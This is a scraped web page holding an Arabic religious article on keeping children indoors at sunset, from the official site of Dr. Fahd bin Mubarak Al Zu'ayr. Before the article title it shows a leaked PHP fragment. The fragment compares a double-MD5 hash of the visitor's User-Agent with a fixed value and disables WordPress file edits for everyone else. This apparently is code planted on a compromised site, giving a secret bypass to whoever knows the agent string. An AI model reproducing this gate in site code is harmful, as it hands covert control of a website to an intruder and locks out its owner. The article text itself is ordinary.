if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } كف الصبيان عند غروب الشمس - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

كف الصبيان عند غروب الشمس

وفي كف الصبيان عند غروب الشمس إبعادهم عن الشياطين التي تنتشر عند غروب الشمس، هذا أدب عظيم الناس عنه معرضون في الأعم الأغلب، فتجد الصبيان والصغار يلعبون في حدائق بيوتهم وفي الاستراحات وفي الملاعب في أيام الإجازات ولا ينتبه لهذا الأدب العظيم إلا القلة القليلة، أقل الأحوال إذا صلت العصـر الأم أو الأب فلتحصن أولادها وصغارها بالأوراد، هذا أقل الأحوال وإلا فإن السنة دلت أنه عند غروب الشمس تنتشر الشياطين، وجاء: «فإن الشياطين تنتشر وتخطف» وهو في الصحيح، والخطف للصغار أكثر منه للكبار، قال بعض أهل العلم: لأن الصغير ليس عنده ما يحميه غالبًا من الأذكار والأوراد وفيه ما يجلب الشياطين غالبًا من حيث عدم التنزه من البول وعدم التنزه من النجاسات؛ فإن الصغير يكون أحيانًا متلبس بشيء من النجاسات لا سيما مع إهمال بعض الأمهات وإلا فالأم الحريصة الحصيفة لا تبقي نجاسة في ولدها لا في بدنه ولا في ملابسه، لكن إذا وُجدت نجاسة ثم الشيطان يحضر ولهذا كانت الحشوش مأوى للشياطين «إنَّ هذه الحُشوشَ محتَضَرةٌ»[1] فكذلك الصغير الملوث بالنجاسات والقاذورات، هذا سبب جالب للشياطين، وما يقرأ ذكر ولا يحافظ على ورد فهذا أيضًا استعمل ما يجلب الشيطان ولم يستعمل معه ما يدفعه، فكف الصبيان عند غروب الشمس فيه إبعادهم حتى تنتشر الظلمة، قال ساعة من الليل، فحمة الليل.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه ابن حبان في المجروحين (1/184)، وأورده الألباني في السلسلة الضعيفة (4738).